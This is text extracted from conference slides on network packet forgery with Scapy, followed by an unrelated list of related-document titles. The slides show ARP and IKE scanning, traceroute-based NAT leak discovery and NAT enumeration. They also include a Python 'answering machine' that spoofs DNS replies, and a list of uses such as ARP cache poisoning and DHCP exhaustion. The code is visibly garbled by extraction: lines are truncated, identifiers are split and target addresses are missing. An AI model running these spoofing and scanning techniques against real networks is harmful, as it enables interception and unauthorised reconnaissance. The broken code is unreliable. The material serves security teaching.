66 ARP ping One shots Scanning TTL tricks Ask every IP of our neighbourhood for its MAC address = Quickly find alive IP = Even firewalled ones (firewalls usually don t work at Ethernet or ARP level) Sending packets res,unans = srp(ether(dst="ff:ff:ff:ff:ff:ff") /ARP(pdst=" /24")) Possible result visualization: neighbours res.summary( lambda (s,r): r.sprintf("%ether.src% %ARP.psrc%") ) Note: The high-level function arping() does that. Philippe BIONDI Network packet forgery with 75/109
67 Philippe BIONDI Network packet forgery with 76/109 IKE scan One shots Scanning TTL tricks Scan with an ISAKMP Security Association proposal = VPN concentrators will answer Sending packets res,unans= sr( IP(dst=" *") /UDP() /ISAKMP(init_cookie=RandString(8), exch_type="identity prot.") /ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal()) ) Possible result visualization: VPN concentrators list res.nsummary( prn=lambda (s,r): r.src, filter=lambda (s,r): r.haslayer(isakmp) )
68 Philippe BIONDI Network packet forgery with 78/109 Applicative UDP Traceroute One shots Scanning TTL tricks Tracerouting an UDP application like we do with TCP is not reliable (no handshake) We need to give an applicative payload (DNS, ISAKMP, NTP,...) to deserve an answer Send packets res,unans = sr(ip(dst="target", ttl=(1,20)) /UDP() /DNS(qd=DNSQR(qname="test.com")) Possible result visualization: List of routers res.make_table(lambda (s,r): (s.dst, s.ttl, r.src))
69 Philippe BIONDI Network packet forgery with 79/109 NAT finding One shots Scanning TTL tricks Do a TCP traceroute or a UDP applicative traceroute If the target IP answers an ICMP time exceeded in transit before answering to the handshake, there is a Destination NAT >>> traceroute(" ",dport=443) Received 31 packets, got 30 answers, remaining 0 packets :tcp SA SA
70 Philippe BIONDI Network packet forgery with 80/109 One shots Scanning TTL tricks NAT leaks We ve found a DNAT. How to find the real destination? Some NAT programs have the following bug : they NAT the packet they decrement the TTL if the TTL expired, send an ICMP message with the packet as a citation = ohoh, they forgot to unnat the citation! Side effects the citation does not match the request = (real) stateful firewalls don t recognize the ICMP message and drop it = traceroute and programs that play with TTL don t see it either
71 Philippe BIONDI Network packet forgery with 81/109 One shots Scanning TTL tricks NAT leaks We ve found a DNAT. How to find the real destination? >>> traceroute(" ",dport=443) Received 31 packets, got 30 answers, remaining 0 packets :tcp missing hop SA SA
72 One shots Scanning TTL tricks NAT leaks We ve found a DNAT. How to find the real destination? is able to handle that : >>> conf.checkipsrc = 0 >>> ans,unans = traceroute(" ",dport=443) [...] Received 31 packets, got 30 answers, remaining 0 packets :tcp SA SA >>> ans[6][1] Philippe BIONDI Network packet forgery with 82/109
73 NAT enumeration How many boxes behind this IP? One shots Scanning TTL tricks >>> a,b=sr( IP(dst="target")/TCP(sport=[RandShort()]*1000) ) >>> a.plot(lambda (s,r): r.id) Philippe BIONDI Network packet forgery with 83/109
74 hilippe BIONDI Network packet forgery with 84/109 NAT enumeration How many boxes behind this IP? One shots Scanning TTL tricks
75 Philippe BIONDI Network packet forgery with 85/109 Conclusion Some supported protocols ARP, BOOTP, DHCP, DNS, , WEP, 802.3, Ethernet, 802.1q, L2CAP, LLC, SNAP, EAP, HSRP, IP, UDP, TCP, ISAKMP, MobileIP, NBTSession, NTP, PPP, PPPoE, Prism Headers, RIP, STP, Sebek, Skinny, SMBMailSlot... Some applications ARP cache poisonning, VLAN hopping, DNS spoofing, OS fingerprinting, DoSing, Dynamic DNS updates, traceroutes, scanning, network discovery, Access Point Spoofing, Wi-Fi signal strength measuring, DHCP server, DHCP spoofing, DHCP exhaustion,...
76 Philippe BIONDI Network packet forgery with 86/109 Conclusion Limitations Can t handle too many packets. Won t replace a mass-scanner. Usually don t interpret for you. You must know what you re doing. Stimulus/response(s) model. Won t replace netcat, socat,...easily
77 Philippe BIONDI Network packet forgery with 87/109 Conclusion Pros has its own ARP stack and its own routing table. works the same for layer 2 and layer 3 bypasses local firewalls Fast packet designing Default values that work Unlimited combinations Probe once, interpret many Interactive packet and result manipulation = Extremely powerful architecture for your craziest dreams (I hope so!)
78 Philippe BIONDI Network packet forgery with 88/109 The End That s all folks! Thanks for your attention. You can reach me at [email protected] These slides are online at
79 Philippe BIONDI Network packet forgery with 89/109 References Additionnal material Part I Appendix
80 Philippe BIONDI Network packet forgery with 90/109 References Additionnal material Appendices 5 References 6 Additionnal material Learning Python in 2 slides Answering machines The sprintf() method Zoomed frames
81 Philippe BIONDI Network packet forgery with 91/109 References Additionnal material References I P. Biondi, Ed3f, 2002, Firewall spotting with broken CRC, Phrack 60 Ofir Arkin and Josh Anderson, Etherleak: Ethernet frame padding information leakage, P. Biondi, 2002 Linux Netfilter NAT/ICMP code information leak
82 Philippe BIONDI Network packet forgery with 92/109 References Additionnal material References II P. Biondi, 2003 Linux 2.0 remote info leak from too big icmp citation
83 References Additionnal material Learning Python in 2 slides (1/2) Learning Python in 2 slides Answering machines The sprintf() method Zoomed frames This is an int (signed, 32bits) : 42 This is a long (signed, infinite): 42L This is a str : "bell\x07\n" or bell\x07\n (" ) This is a tuple (immutable): (1,4,"42") This is a list (mutable): [4,2,"1"] This is a dict (mutable): { "one":1, "two":2 } Philippe BIONDI Network packet forgery with 94/109
84 Philippe BIONDI Network packet forgery with 95/109 References Additionnal material Learning Python in 2 slides (2/2) Learning Python in 2 slides Answering machines The sprintf() method Zoomed frames No block delimiters. Indentation does matter. try: if cond1: instr instr except exception: instr instr elif cond2: else: instr instr else: instr while cond: instr instr def fact(x): if x == 0: return 1 else: return x*fact(x-1) for var in set: instr lambda x,y: x+y
85 Philippe BIONDI Network packet forgery with 97/109 Answering machines References Additionnal material Learning Python in 2 slides Answering machines The sprintf() method Zoomed frames An answering machine enables you to quickly design a stimulus/response daemon Already implemented: fake DNS server, ARP spoofer, DHCP daemon, FakeARPd, Airpwn clone Interface description 1 class Demo am( AnsweringMachine ) : 2 function name = "demo" 3 f i l t e r = "a bpf filter if needed" 4 def parse options ( self,... ) : def is request ( self, req ) : 7 # return 1 if req is a request 8 def make reply ( self, req ) : 9 # return the reply for req
86 Philippe BIONDI Network packet forgery with 98/109 Answering machines Using answering machines References Additionnal material Learning Python in 2 slides Answering machines The sprintf() method Zoomed frames The class must be instanciated The parameters given to the constructor become default parameters The instance is a callable object whose default parameters can be overloaded Once called, the instance loops, sniffs and answers stimuli Side note: Answering machine classes declaration automatically creates a function, whose name is taken in the function name class attribute, that instantiates and runs the answering machine. This is done thanks to the ReferenceAM metaclass.
87 1 class DNS am( AnsweringMachine ) : 2 function name=" dns_spoof" 3 f i l t e r = "udp port 53" 4 5 def parse options ( self, joker=" ", zone=none ) : 6 i f zone i s None : 7 zone = {} 8 s e l f. zone = zone 9 s e l f. joker=joker def is request ( self, req ) : 12 return req. haslayer (DNS) and req. getlayer (DNS). qr == def make reply ( self, req ) : 15 ip = req. getlayer ( IP ) 16 dns = req. getlayer (DNS) 17 resp = IP ( dst=ip. src, src=ip. dst )/UDP( dport=ip. sport, sport 18 rdata = s e l f. zone. get ( dns. qd. qname, s e l f. joker ) 19 resp /= DNS( id=dns. id, qr =1, qd=dns. qd, 20 an=dnsrr( rrname=dns. qd. qname, t t l =10, rdata=rd 21 return resp Philippe BIONDI Network packet forgery with 99/109 Answering machines DNS spoofing example References Additionnal material Learning Python in 2 slides Answering machines The sprintf() method Zoomed frames
88 Philippe BIONDI Network packet forgery with 101/109 References Additionnal material The sprintf() method Advanced formating syntax Learning Python in 2 slides Answering machines The sprintf() method Zoomed frames Exact directive format is %[fmt[r],]cls[:nb].field%. Example cls is the name of the target class field is the field s name nb ask for the nb th instance of the class in the packet fmt is a formating directive à la printf() r is a flag whose presence means that you want the field s value instead of its representation >>> a=ip(id=10)/ip(id=20)/tcp(flags="sa") >>> a.sprintf("%ip.id% %IP:1.id% %IP:2.id%") >>> a.sprintf("%tcp.flags% %-5s,TCP.flags% %#5xr,TCP.flags%") SA SA 0x12
89 Philippe BIONDI Network packet forgery with 102/109 References Additionnal material The sprintf() method Conditional substrings Learning Python in 2 slides Answering machines The sprintf() method Zoomed frames Example You sometimes need to summarize different kinds of packets with only one format string A conditionnal substring looks like : {cls:substring} If cls is a class present in the packet, the substring is kept in the format string, else it is removed >>> f = lambda p: \ p.sprintf("this is a{tcp: TCP}{UDP:n UDP}{ICMP:n ICMP} packet") >>> f(ip()/tcp()) This is a TCP packet >>> f(ip()/icmp()) This is an ICMP packet >>> p = sr1(ip(dst=" >>> p.sprintf("{ip:%ip.src% {ICMP:%ICMP.type%}{TCP:%TCP.flags%}}") SA or time-exceeded
90 References Additionnal material NAT enumeration: Learning Python in 2 slides Answering machines The sprintf() method Zoomed frames hilippe BIONDI Network packet forgery with 104/109
91 References Additionnal material NAT enumeration: Learning Python in 2 slides Answering machines The sprintf() method Zoomed frames hilippe BIONDI Network packet forgery with 105/109
92 References Additionnal material Learning Python in 2 slides Answering machines The sprintf() method Zoomed frames NAT enumeration: hilippe BIONDI Network packet forgery with 106/109
93 References Additionnal material Learning Python in 2 slides Answering machines The sprintf() method Zoomed frames NAT enumeration: hilippe BIONDI Network packet forgery with 107/109
94 References Additionnal material NAT enumeration: Learning Python in 2 slides Answering machines The sprintf() method Zoomed frames hilippe BIONDI Network packet forgery with 108/109
95 References Additionnal material Learning Python in 2 slides Answering machines The sprintf() method Zoomed frames NAT enumeration: hilippe BIONDI Network packet forgery with 109/109
Packet generation and network based attacks with Scapy
Packet generation and network based attacks with [email protected] / [email protected] Corporate Research Center SSI Department Suresnes, FRANCE CanSecWest/core05, May 4-6, 2005 Packet generation
Scapy. On-the-fly Packet Generation by [email protected]. Dienstag, 10. Januar 12
Scapy On-the-fly Packet Generation by [email protected] 1 Overview Repetition of network basics Python Basics Scapy Basics Example: SYN Scan Hands-on: Traceroute Promiscuous Scan ARP Spoofing 2 Layers
Introduction Présentation de scapy. Scapy. Easy Packet Handling. Etienne Maynier. [email protected]. Capitole du Libre 24 Novembre 2012
Easy Packet Handling [email protected] Capitole du Libre 24 Novembre 2012 Manipulation de paquets : Pour des tests réseau Pour de l éducation Principalement pour des tests de sécurité Développé
Internet Protocol: IP packet headers. vendredi 18 octobre 13
Internet Protocol: IP packet headers 1 IPv4 header V L TOS Total Length Identification F Frag TTL Proto Checksum Options Source address Destination address Data (payload) Padding V: Version (IPv4 ; IPv6)
Scanning Tools. Scan Types. Network sweeping - Basic technique used to determine which of a range of IP addresses map to live hosts.
Scanning Tools The goal of the scanning phase is to learn more information about the target environment and discover openings by interacting with that target environment. This paper will look at some of
Host Fingerprinting and Firewalking With hping
Host Fingerprinting and Firewalking With hping Naveed Afzal National University Of Computer and Emerging Sciences, Lahore, Pakistan Email: [email protected] Naveedafzal gmail.com Abstract: The purpose
Technical Support Information Belkin internal use only
The fundamentals of TCP/IP networking TCP/IP (Transmission Control Protocol / Internet Protocols) is a set of networking protocols that is used for communication on the Internet and on many other networks.
Hacking Techniques & Intrusion Detection. Ali Al-Shemery arabnix [at] gmail
Hacking Techniques & Intrusion Detection Ali Al-Shemery arabnix [at] gmail All materials is licensed under a Creative Commons Share Alike license. http://creativecommons.org/licenses/by-sa/3.0/ 2 # whoami
Procedure: You can find the problem sheet on Drive D: of the lab PCs. 1. IP address for this host computer 2. Subnet mask 3. Default gateway address
Objectives University of Jordan Faculty of Engineering & Technology Computer Engineering Department Computer Networks Laboratory 907528 Lab.4 Basic Network Operation and Troubleshooting 1. To become familiar
How do I get to www.randomsite.com?
Networking Primer* *caveat: this is just a brief and incomplete introduction to networking to help students without a networking background learn Network Security. How do I get to www.randomsite.com? Local
Troubleshooting Tools
Troubleshooting Tools An overview of the main tools for verifying network operation from a host Fulvio Risso Mario Baldi Politecnico di Torino (Technical University of Turin) see page 2 Notes n The commands/programs
Host Discovery with nmap
Host Discovery with nmap By: Mark Wolfgang [email protected] November 2002 Table of Contents Host Discovery with nmap... 1 1. Introduction... 3 1.1 What is Host Discovery?... 4 2. Exploring nmap s Default
Tools for Attacking Layer 2 Network Infrastructure
Tools for Attacking Layer 2 Network Infrastructure Kai-Hau Yeung, Dereck Fung, and Kin-Yeung Wong Abstract Data Link layer is considered as the weakest link in a secured network. If an initial attack comes
Linux Network Security
Linux Network Security Course ID SEC220 Course Description This extremely popular class focuses on network security, and makes an excellent companion class to the GL550: Host Security course. Protocols
Understanding and Configuring NAT Tech Note PAN-OS 4.1
Understanding and Configuring NAT Tech Note PAN-OS 4.1 Revision C 2012, Palo Alto Networks, Inc. www.paloaltonetworks.com Contents Overview... 3 Scope... 3 Design Consideration... 3 Software requirement...
Innominate mguard Version 6
Innominate mguard Version 6 Application Note: Firewall Logging mguard smart mguard PCI mguard blade mguard industrial RS EAGLE mguard mguard delta Innominate Security Technologies AG Albert-Einstein-Str.
OLD VULNERABILITIES IN NEW PROTOCOLS? HEADACHES ABOUT IPV6 FRAGMENTS
OLD VULNERABILITIES IN NEW PROTOCOLS? HEADACHES ABOUT IPV6 FRAGMENTS Eric Vyncke (@evyncke) Cisco Session ID: ARCH W01 Session Classification: Advanced Agenda Status of WorldWide IPv6 Deployment IPv6 refresher:
Recent advances in IPv6 insecurities Marc van Hauser Heuse Deepsec 2010, Vienna. 2010 Marc Heuse <[email protected]>
Recent advances in IPv6 insecurities Marc van Hauser Heuse Deepsec 2010, Vienna 2010 Marc Heuse Hello, my name is The future is here already Let s start with the basics IPv4 4 octets 4.294.967.296
Unix System Administration
Unix System Administration Chris Schenk Lecture 08 Tuesday Feb 13 CSCI 4113, Spring 2007 ARP Review Host A 128.138.202.50 00:0B:DB:A6:76:18 Host B 128.138.202.53 00:11:43:70:45:81 Switch Host C 128.138.202.71
CSE 127: Computer Security. Network Security. Kirill Levchenko
CSE 127: Computer Security Network Security Kirill Levchenko December 4, 2014 Network Security Original TCP/IP design: Trusted network and hosts Hosts and networks administered by mutually trusted parties
Why use Scapy? Blue Team. Red Team. Test IDS/IPS Test Firewall Learn more about TCP/IP (down and dirty) Application response(fuzzing)
Scapy What is Scapy Why use Scapy? Important concepts to keep in mind Crafting your first packet Sending and Receiving Packets/Frames Basic examples and dealing with the OS's TCP/IP stack using iptables
8.2 The Internet Protocol
TCP/IP Protocol Suite HTTP SMTP DNS RTP Distributed applications Reliable stream service TCP UDP User datagram service Best-effort connectionless packet transfer Network Interface 1 IP Network Interface
Firewall implementation and testing
Firewall implementation and testing Patrik Ragnarsson, Niclas Gustafsson E-mail: [email protected], [email protected] Supervisor: David Byers, [email protected] Project Report for Information
Subnetting,Supernetting, VLSM & CIDR
Subnetting,Supernetting, VLSM & CIDR WHAT - IP Address Unique 32 or 128 bit Binary, used to identify a system on a Network or Internet. Network Portion Host Portion CLASSFULL ADDRESSING IP address space
Internet Firewall CSIS 3230. Internet Firewall. Spring 2012 CSIS 4222. net13 1. Firewalls. Stateless Packet Filtering
Internet Firewall CSIS 3230 A combination of hardware and software that isolates an organization s internal network from the Internet at large Ch 8.8: Packet filtering, firewalls, intrusion detection Ch
What is a DoS attack?
CprE 592-YG Computer and Network Forensics Log-based Signature Analysis Denial of Service Attacks - from analyst s point of view Yong Guan 3216 Coover Tel: (515) 294-8378 Email: [email protected] October
netkit lab MPLS VPNs with overlapping address spaces 1.0 S.Filippi, L.Ricci, F.Antonini Version Author(s)
netkit lab MPLS VPNs with overlapping address spaces Version Author(s) 1.0 S.Filippi, L.Ricci, F.Antonini E-mail Web Description [email protected] http://www.kaksonetworks.it/ A lab showing
IP network tools & troubleshooting. AFCHIX 2010 Nairobi, Kenya October 2010
IP network tools & troubleshooting AFCHIX 2010 Nairobi, Kenya October 2010 Network configuration Reminder, configure your network in /etc/ rc.conf ( x = your IP, from.10 to...) ifconfig_bge0= 41.215.76.x/24
Internetworking. Problem: There is more than one network (heterogeneity & scale)
Internetworking Problem: There is more than one network (heterogeneity & scale) Hongwei Zhang http://www.cs.wayne.edu/~hzhang Internetworking: Internet Protocol (IP) Routing and scalability Group Communication
Network layer: Overview. Network layer functions IP Routing and forwarding
Network layer: Overview Network layer functions IP Routing and forwarding 1 Network layer functions Transport packet from sending to receiving hosts Network layer protocols in every host, router application
20-CS-6053-00X Network Security Spring, 2014. An Introduction To. Network Security. Week 1. January 7
20-CS-6053-00X Network Security Spring, 2014 An Introduction To Network Security Week 1 January 7 Attacks Criminal: fraud, scams, destruction; IP, ID, brand theft Privacy: surveillance, databases, traffic
Outline. CSc 466/566. Computer Security. 18 : Network Security Introduction. Network Topology. Network Topology. Christian Collberg
Outline Network Topology CSc 466/566 Computer Security 18 : Network Security Introduction Version: 2012/05/03 13:59:29 Department of Computer Science University of Arizona [email protected] Copyright
Networks: IP and TCP. Internet Protocol
Networks: IP and TCP 11/1/2010 Networks: IP and TCP 1 Internet Protocol Connectionless Each packet is transported independently from other packets Unreliable Delivery on a best effort basis No acknowledgments
CSCE 465 Computer & Network Security
CSCE 465 Computer & Network Security Instructor: Dr. Guofei Gu http://courses.cse.tamu.edu/guofei/csce465/ Vulnerability Analysis 1 Roadmap Why vulnerability analysis? Example: TCP/IP related vulnerabilities
Guide to Network Defense and Countermeasures Third Edition. Chapter 2 TCP/IP
Guide to Network Defense and Countermeasures Third Edition Chapter 2 TCP/IP Objectives Explain the fundamentals of TCP/IP networking Describe IPv4 packet structure and explain packet fragmentation Describe
Attacking the TCP Reassembly Plane of Network Forensics Tools
Attacking the TCP Reassembly Plane of Network Forensics Tools Gérard 12 Thomas Engel 1 1 University of Luxembourg - SECAN LAB 2 SES ASTRA Outline Introduction Definitions and terminology A PCAP file contains
CYBER ATTACKS EXPLAINED: PACKET CRAFTING
CYBER ATTACKS EXPLAINED: PACKET CRAFTING Protect your FOSS-based IT infrastructure from packet crafting by learning more about it. In the previous articles in this series, we explored common infrastructure
Introduction to Analyzer and the ARP protocol
Laboratory 6 Introduction to Analyzer and the ARP protocol Objetives Network monitoring tools are of interest when studying the behavior of network protocols, in particular TCP/IP, and for determining
Presentation_ID. 2001, Cisco Systems, Inc. All rights reserved.
Presentation_ID 2001, Cisco Systems, Inc. All rights reserved. 1 IPv6 Security Considerations Patrick Grossetete [email protected] Dennis Vogel [email protected] 2 Agenda Native security in IPv6 IPv6 challenges
Unverified Fields - A Problem with Firewalls & Firewall Technology Today
Unverified Fields - A Problem with Firewalls & Firewall Technology Today Ofir Arkin The Sys-Security Group [email protected] October 2000 1 Introduction The following problem (as discussed in
VLAN und MPLS, Firewall und NAT,
Internet-Technologien (CS262) VLAN und MPLS, Firewall und NAT, 15.4.2015 Christian Tschudin Departement Mathematik und Informatik, Universität Basel 6-1 Wiederholung Unterschied CSMA/CD und CSMA/CA? Was
Packet filtering with Linux
LinuxFocus article number 289 http://linuxfocus.org Packet filtering with Linux by Vincent Renardias About the author: GNU/Linux user since 1993, Vincent Renardias started to
Remote Network Analysis
Remote Network Analysis Torsten Hoefler [email protected] (DMZ), mostly between two packet filters and application gateways. The different possibilities to connect DMZ-hosts are also shown in Figure
Chapter 8 Security Pt 2
Chapter 8 Security Pt 2 IC322 Fall 2014 Computer Networking: A Top Down Approach 6 th edition Jim Kurose, Keith Ross Addison-Wesley March 2012 All material copyright 1996-2012 J.F Kurose and K.W. Ross,
Introduction to Passive Network Traffic Monitoring
Introduction to Passive Network Traffic Monitoring CS459 ~ Internet Measurements Spring 2015 Despoina Antonakaki [email protected] Active Monitoring Inject test packets into the network or send packets
Network Security. Chapter 3. Cornelius Diekmann. Version: October 21, 2015. Lehrstuhl für Netzarchitekturen und Netzdienste Institut für Informatik
Network Security Chapter 3 Cornelius Diekmann Lehrstuhl für Netzarchitekturen und Netzdienste Institut für Informatik Version: October 21, 2015 IN2101, WS 15/16, Network Security 1 Security Policies and
Network Traffic Analysis
2013 Network Traffic Analysis Gerben Kleijn and Terence Nicholls 6/21/2013 Contents Introduction... 3 Lab 1 - Installing the Operating System (OS)... 3 Lab 2 Working with TCPDump... 4 Lab 3 - Installing
Passive Network Traffic Analysis: Understanding a Network Through Passive Monitoring Kevin Timm,
Passive Network Traffic Analysis: Understanding a Network Through Passive Monitoring Kevin Timm, Network IDS devices use passive network monitoring extensively to detect possible threats. Through passive
----------------------------------------------------------------------------------------------------------------------
The basic commands for the firewall: 1. Command firewalllog -- To check the firewall logs and to find out source, destination, ports, request is passing or blocking and matching firewall rule no. etc superuser@securegate
LECTURE 4 NETWORK INFRASTRUCTURE
SYSTEM ADMINISTRATION MTAT.08.021 LECTURE 4 NETWORK INFRASTRUCTURE Prepared By: Amnir Hadachi and Artjom Lind University of Tartu, Institute of Computer Science [email protected] / [email protected]
Denial Of Service. Types of attacks
Denial Of Service The goal of a denial of service attack is to deny legitimate users access to a particular resource. An incident is considered an attack if a malicious user intentionally disrupts service
IP addressing and forwarding Network layer
The Internet Network layer Host, router network layer functions: IP addressing and forwarding Network layer Routing protocols path selection RIP, OSPF, BGP Transport layer: TCP, UDP forwarding table IP
Track 2 Workshop PacNOG 7 American Samoa. Firewalling and NAT
Track 2 Workshop PacNOG 7 American Samoa Firewalling and NAT Core Concepts Host security vs Network security What is a firewall? What does it do? Where does one use it? At what level does it function?
CIT 380: Securing Computer Systems
CIT 380: Securing Computer Systems Scanning CIT 380: Securing Computer Systems Slide #1 Topics 1. Port Scanning 2. Stealth Scanning 3. Version Identification 4. OS Fingerprinting 5. Vulnerability Scanning
Lecture Computer Networks
Prof. Dr. H. P. Großmann mit M. Rabel sowie H. Hutschenreiter und T. Nau Sommersemester 2012 Institut für Organisation und Management von Informationssystemen Thomas Nau, kiz Lecture Computer Networks
Linux Routers and Community Networks
Summer Course at Mekelle Institute of Technology. July, 2015. Linux Routers and Community Networks Llorenç Cerdà-Alabern http://personals.ac.upc.edu/llorenc [email protected] Universitat Politènica de
Packet Sniffing and Spoofing Lab
SEED Labs Packet Sniffing and Spoofing Lab 1 Packet Sniffing and Spoofing Lab Copyright c 2014 Wenliang Du, Syracuse University. The development of this document is/was funded by the following grants from
2057-15. First Workshop on Open Source and Internet Technology for Scientific Environment: with case studies from Environmental Monitoring
2057-15 First Workshop on Open Source and Internet Technology for Scientific Environment: with case studies from Environmental Monitoring 7-25 September 2009 TCP/IP Networking Abhaya S. Induruwa Department
Firewall Testing. Cameron Kerr Telecommunications Programme University of Otago. May 16, 2005
Firewall Testing Cameron Kerr Telecommunications Programme University of Otago May 16, 2005 Abstract Writing a custom firewall is a complex task, and is something that requires a significant amount of
Project 2: Firewall Design (Phase I)
Project 2: Firewall Design (Phase I) CS 161 - Joseph/Tygar November 12, 2006 1 Edits If we need to make clarifications or corrections to this document after distributing it, we will post a new version
IP - The Internet Protocol
Orientation IP - The Internet Protocol IP (Internet Protocol) is a Network Layer Protocol. IP s current version is Version 4 (IPv4). It is specified in RFC 891. TCP UDP Transport Layer ICMP IP IGMP Network
Network and Services Discovery
A quick theorical introduction to network scanning January 8, 2016 Disclaimer/Intro Disclaimer/Intro Network scanning is not exact science When an information system is able to interact over the network
Layer Four Traceroute (and related tools) A modern, flexible path-discovery solution with advanced features for network (reverse) engineers
Layer Four Traceroute (and related tools) A modern, flexible path-discovery solution with advanced features for network (reverse) engineers So, what is path discovery and why is it important? Path discovery
Overview. Securing TCP/IP. Introduction to TCP/IP (cont d) Introduction to TCP/IP
Overview Securing TCP/IP Chapter 6 TCP/IP Open Systems Interconnection Model Anatomy of a Packet Internet Protocol Security (IPSec) Web Security (HTTP over TLS, Secure-HTTP) Lecturer: Pei-yih Ting 1 2
NETWORK SECURITY WITH OPENSOURCE FIREWALL
NETWORK SECURITY WITH OPENSOURCE FIREWALL Vivek Kathayat,Dr Laxmi Ahuja AIIT Amity University,Noida [email protected] [email protected] ATTACKER SYSTEM: Backtrack 5r3( 192.168.75.10 ) HOST: Backtrack
https://elearn.zdresearch.com https://training.zdresearch.com/course/pentesting
https://elearn.zdresearch.com https://training.zdresearch.com/course/pentesting Chapter 1 1. Introducing Penetration Testing 1.1 What is penetration testing 1.2 Different types of test 1.2.1 External Tests
Packet Sniffers Submitted in partial fulfillment of the requirement for the award of degree Of MCA
A Seminar report On Packet Sniffers Submitted in partial fulfillment of the requirement for the award of degree Of MCA SUBMITTED TO: www.studymafia.org SUBMITTED BY: www.studymafia.org Preface I have made
Ethernet. Ethernet. Network Devices
Ethernet Babak Kia Adjunct Professor Boston University College of Engineering ENG SC757 - Advanced Microprocessor Design Ethernet Ethernet is a term used to refer to a diverse set of frame based networking
Computer Networks/DV2 Lab
Computer Networks/DV2 Lab Room: BB 219 Additional Information: http://www.fb9dv.uni-duisburg.de/ti/en/education/teaching/ss13/netlab Equipment for each group: - 1 Server computer (OS: Windows Server 2008
Internet Working 5 th lecture. Chair of Communication Systems Department of Applied Sciences University of Freiburg 2004
5 th lecture Chair of Communication Systems Department of Applied Sciences University of Freiburg 2004 1 43 Last lecture Lecture room hopefully all got the message lecture on tuesday and thursday same
Network Layer: and Multicasting. 21.1 Copyright The McGraw-Hill Companies, Inc. Permission required for reproduction or display.
Chapter 21 Network Layer: Address Mapping, Error Reporting, and Multicasting 21.1 Copyright The McGraw-Hill Companies, Inc. Permission required for reproduction or display. 21-1 ADDRESS MAPPING The delivery
Looking for Trouble: ICMP and IP Statistics to Watch
Looking for Trouble: ICMP and IP Statistics to Watch Laura Chappell, Senior Protocol Analyst Protocol Analysis Institute [[email protected]] www.packet-level.com www.podbooks.com HTCIA Member,
A Very Incomplete Diagram of Network Attacks
A Very Incomplete Diagram of Network Attacks TCP/IP Stack Reconnaissance Spoofing Tamper DoS Internet Transport Application HTTP SMTP DNS TCP UDP IP ICMP Network/Link 1) HTML/JS files 2)Banner Grabbing
Security of IPv6 and DNSSEC for penetration testers
Security of IPv6 and DNSSEC for penetration testers Vesselin Hadjitodorov Master education System and Network Engineering June 30, 2011 Agenda Introduction DNSSEC security IPv6 security Conclusion Questions
TCP/IP Network Essentials. Linux System Administration and IP Services
TCP/IP Network Essentials Linux System Administration and IP Services Layers Complex problems can be solved using the common divide and conquer principle. In this case the internals of the Internet are
IPv6 Hardening Guide for Windows Servers
IPv6 Hardening Guide for Windows Servers How to Securely Configure Windows Servers to Prevent IPv6-related Attacks Version: 1.0 Date: 22/12/2014 Classification: Public Author(s): Antonios Atlasis TABLE
Firewalls Netasq. Security Management by NETASQ
Firewalls Netasq Security Management by NETASQ 1. 0 M a n a g e m e n t o f t h e s e c u r i t y b y N E T A S Q 1 pyright NETASQ 2002 Security Management is handled by the ASQ, a Technology developed
Transport and Network Layer
Transport and Network Layer 1 Introduction Responsible for moving messages from end-to-end in a network Closely tied together TCP/IP: most commonly used protocol o Used in Internet o Compatible with a
Netfilter / IPtables
Netfilter / IPtables Stateful packet filter firewalling with Linux Antony Stone [email protected] Netfilter / IPtables Quick review of TCP/IP networking & firewalls Netfilter & IPtables components
Lecture 17 - Network Security
Lecture 17 - Network Security CMPSC 443 - Spring 2012 Introduction Computer and Network Security Professor Jaeger www.cse.psu.edu/~tjaeger/cse443-s12/ Idea Why donʼt we just integrate some of these neat
+ iptables. packet filtering && firewall
+ iptables packet filtering && firewall + what is iptables? iptables is the userspace command line program used to configure the linux packet filtering ruleset + a.k.a. firewall + iptable flow chart what?
Internet Firewall CSIS 4222. Packet Filtering. Internet Firewall. Examples. Spring 2011 CSIS 4222. net15 1. Routers can implement packet filtering
Internet Firewall CSIS 4222 A combination of hardware and software that isolates an organization s internal network from the Internet at large Ch 27: Internet Routing Ch 30: Packet filtering & firewalls
Internet Control Protocols Reading: Chapter 3
Internet Control Protocols Reading: Chapter 3 ARP - RFC 826, STD 37 DHCP - RFC 2131 ICMP - RFC 0792, STD 05 1 Goals of Today s Lecture Bootstrapping an end host Learning its own configuration parameters
PktFilter A Win32 service to control the IPv4 filtering driver of Windows 2000/XP/Server 2003 http://sourceforge.net/projects/pktfilter/
PktFilter A Win32 service to control the IPv4 filtering driver of Windows 2000/XP/Server 2003 http://sourceforge.net/projects/pktfilter/ Jean-Baptiste Marchand [email protected] Contents 1
EE984 Laboratory Experiment 2: Protocol Analysis
EE984 Laboratory Experiment 2: Protocol Analysis Abstract This experiment provides an introduction to protocols used in computer communications. The equipment used comprises of four PCs connected via a
Network Scanning. What is a Network scanner? Why are scanners needed? How do scanners do? Which scanner does the market provide?
Network Scanning What is a Network scanner? Why are scanners needed? How do scanners do? Which scanner does the market provide? Where will our research go? Page : 1 Function - attacker view What hosts
Firewalls, NAT and Intrusion Detection and Prevention Systems (IDS)
Firewalls, NAT and Intrusion Detection and Prevention Systems (IDS) Internet (In)Security Exposed Prof. Dr. Bernhard Plattner With some contributions by Stephan Neuhaus Thanks to Thomas Dübendorfer, Stefan
Computer Networks: DNS a2acks CS 1951e - Computer Systems Security: Principles and Prac>ce. Domain Name System
Computer Networks: DNS a2acks CS 1951e - Computer Systems Security: Principles and Prac>ce 18/02/15 Networks: DNS attacks 1 Domain Name System The domain name system (DNS) is an applica>on- layer protocol
Guide to TCP/IP, Third Edition. Chapter 3: Data Link and Network Layer TCP/IP Protocols
Guide to TCP/IP, Third Edition Chapter 3: Data Link and Network Layer TCP/IP Protocols Objectives Understand the role that data link protocols, such as SLIP and PPP, play for TCP/IP Distinguish among various
Network Security. Marcus Bendtsen Institutionen för Datavetenskap (IDA) Avdelningen för Databas- och Informationsteknik (ADIT)
Network Security ICMP, TCP, DNS, Scanning Marcus Bendtsen Institutionen för Datavetenskap (IDA) Avdelningen för Databas- och Informationsteknik (ADIT) Agenda A couple of examples of network protocols that
Ulogd2, Advanced firewall logging
Ulogd2, Advanced firewall logging INL 172 rue de Charonne 75011 Paris, France RMLL 2009, July 8, Nantes Ulogd2, Netfilter logging reloaded 1/ 38 Some words about me NuFW main developper INL co-founder
Course Overview: Learn the essential skills needed to set up, configure, support, and troubleshoot your TCP/IP-based network.
Course Name: TCP/IP Networking Course Overview: Learn the essential skills needed to set up, configure, support, and troubleshoot your TCP/IP-based network. TCP/IP is the globally accepted group of protocols
Security Technology White Paper
